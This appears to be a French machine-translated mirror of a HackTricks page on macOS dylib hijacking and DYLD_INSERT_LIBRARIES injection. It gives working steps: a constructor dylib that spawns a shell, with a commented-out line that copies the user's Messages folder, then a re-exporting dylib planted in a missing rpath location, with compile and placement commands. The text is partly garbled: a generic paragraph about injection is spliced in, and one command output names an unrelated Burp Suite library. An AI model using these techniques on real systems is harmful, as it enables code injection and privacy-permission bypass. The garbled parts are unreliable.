mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 07:01:09 +00:00
187 lines
9.1 KiB
Markdown
187 lines
9.1 KiB
Markdown
# macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
## Exemple basique de DYLD\_INSERT\_LIBRARIES
|
|
|
|
**Bibliothèque à injecter** pour exécuter un shell :
|
|
```c
|
|
// gcc -dynamiclib -o inject.dylib inject.c
|
|
|
|
#include <syslog.h>
|
|
#include <stdio.h>
|
|
#include <unistd.h>
|
|
#include <stdlib.h>
|
|
__attribute__((constructor))
|
|
|
|
void myconstructor(int argc, const char **argv)
|
|
{
|
|
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
|
|
printf("[+] dylib injected in %s\n", argv[0]);
|
|
execv("/bin/bash", 0);
|
|
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
|
|
}
|
|
```
|
|
Binaire à attaquer:
|
|
```c
|
|
// gcc hello.c -o hello
|
|
#include <stdio.h>
|
|
|
|
int main()
|
|
{
|
|
printf("Hello, World!\n");
|
|
return 0;
|
|
}
|
|
```
|
|
Injection:
|
|
|
|
Injection:
|
|
|
|
L'injection est une technique couramment utilisée en piratage pour exploiter les vulnérabilités des applications. Elle consiste à insérer du code malveillant dans une application ou un système afin de compromettre sa sécurité. L'injection peut se produire de différentes manières, telles que l'injection SQL, l'injection de commandes, l'injection de code, etc. Ces attaques peuvent permettre à un attaquant d'exécuter du code arbitraire, de voler des informations sensibles, de prendre le contrôle du système, etc. Il est essentiel de sécuriser les applications et les systèmes contre les injections en utilisant des techniques telles que la validation des entrées, l'échappement des caractères spéciaux et l'utilisation de requêtes préparées.
|
|
```bash
|
|
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
|
|
```
|
|
## Exemple de détournement de Dyld
|
|
|
|
Le binaire vulnérable ciblé est `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.
|
|
|
|
{% tabs %}
|
|
{% tab title="entitlements" %}
|
|
<pre class="language-bash" data-overflow="wrap"><code class="lang-bash">codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
|
|
<strong>[...]com.apple.security.cs.disable-library-validation[...]
|
|
</strong></code></pre>
|
|
{% endtab %}
|
|
|
|
{% tab title="LC_RPATH" %}
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
# Check where are the @rpath locations
|
|
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
|
|
cmd LC_RPATH
|
|
cmdsize 32
|
|
path @loader_path/. (offset 12)
|
|
--
|
|
cmd LC_RPATH
|
|
cmdsize 32
|
|
path @loader_path/../lib2 (offset 12)
|
|
```
|
|
{% endcode %}
|
|
{% endtab %}
|
|
|
|
{% tab title="@rpath" %}
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
# Check librareis loaded using @rapth and the used versions
|
|
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
|
|
name @rpath/lib.dylib (offset 24)
|
|
time stamp 2 Thu Jan 1 01:00:02 1970
|
|
current version 1.0.0
|
|
compatibility version 1.0.0
|
|
# Check the versions
|
|
```
|
|
{% endcode %}
|
|
{% endtab %}
|
|
{% endtabs %}
|
|
|
|
Avec les informations précédentes, nous savons qu'il **ne vérifie pas la signature des bibliothèques chargées** et qu'il **essaie de charger une bibliothèque depuis** :
|
|
|
|
* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
|
|
* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
|
|
|
|
Cependant, le premier n'existe pas :
|
|
```bash
|
|
pwd
|
|
/Applications/VulnDyld.app
|
|
|
|
find ./ -name lib.dylib
|
|
./Contents/Resources/lib2/lib.dylib
|
|
```
|
|
Alors, il est possible de le pirater ! Créez une bibliothèque qui **exécute un code arbitraire et exporte les mêmes fonctionnalités** que la bibliothèque légitime en la réexportant. Et n'oubliez pas de la compiler avec les versions attendues :
|
|
|
|
{% code title="lib.m" %}
|
|
```objectivec
|
|
#import <Foundation/Foundation.h>
|
|
|
|
__attribute__((constructor))
|
|
void custom(int argc, const char **argv) {
|
|
NSLog(@"[+] dylib hijacked in %s", argv[0]);
|
|
}
|
|
```
|
|
{% endcode %}
|
|
|
|
Compilez-le :
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
|
|
# Note the versions and the reexport
|
|
```
|
|
{% endcode %}
|
|
|
|
Le chemin de réexportation créé dans la bibliothèque est relatif au chargeur, changeons-le pour un chemin absolu vers la bibliothèque à exporter:
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
#Check relative
|
|
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
|
|
cmd LC_REEXPORT_DYLIB
|
|
cmdsize 48
|
|
name @rpath/libjli.dylib (offset 24)
|
|
|
|
#Change the location of the library absolute to absolute path
|
|
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
|
|
|
|
# Check again
|
|
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
|
|
cmd LC_REEXPORT_DYLIB
|
|
cmdsize 128
|
|
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
|
|
```
|
|
{% endcode %}
|
|
|
|
Enfin, copiez-le simplement à l'**emplacement détourné** :
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
|
|
```
|
|
{% endcode %}
|
|
|
|
Et **exécutez** le binaire et vérifiez si la **bibliothèque a été chargée** :
|
|
|
|
<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
|
|
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib détournée dans /Applications/VulnDyld.app/Contents/Resources/lib/binary
|
|
</strong>Usage: [...]
|
|
</code></pre>
|
|
|
|
{% hint style="info" %}
|
|
Un bon article sur la façon d'exploiter cette vulnérabilité pour abuser des autorisations de la caméra de Telegram peut être trouvé à l'adresse [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
|
|
{% endhint %}
|
|
|
|
## Plus grande échelle
|
|
|
|
Si vous prévoyez d'essayer d'injecter des bibliothèques dans des binaires inattendus, vous pouvez vérifier les messages d'événement pour savoir quand la bibliothèque est chargée à l'intérieur d'un processus (dans ce cas, supprimez le printf et l'exécution de `/bin/bash`).
|
|
```bash
|
|
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
|
|
```
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|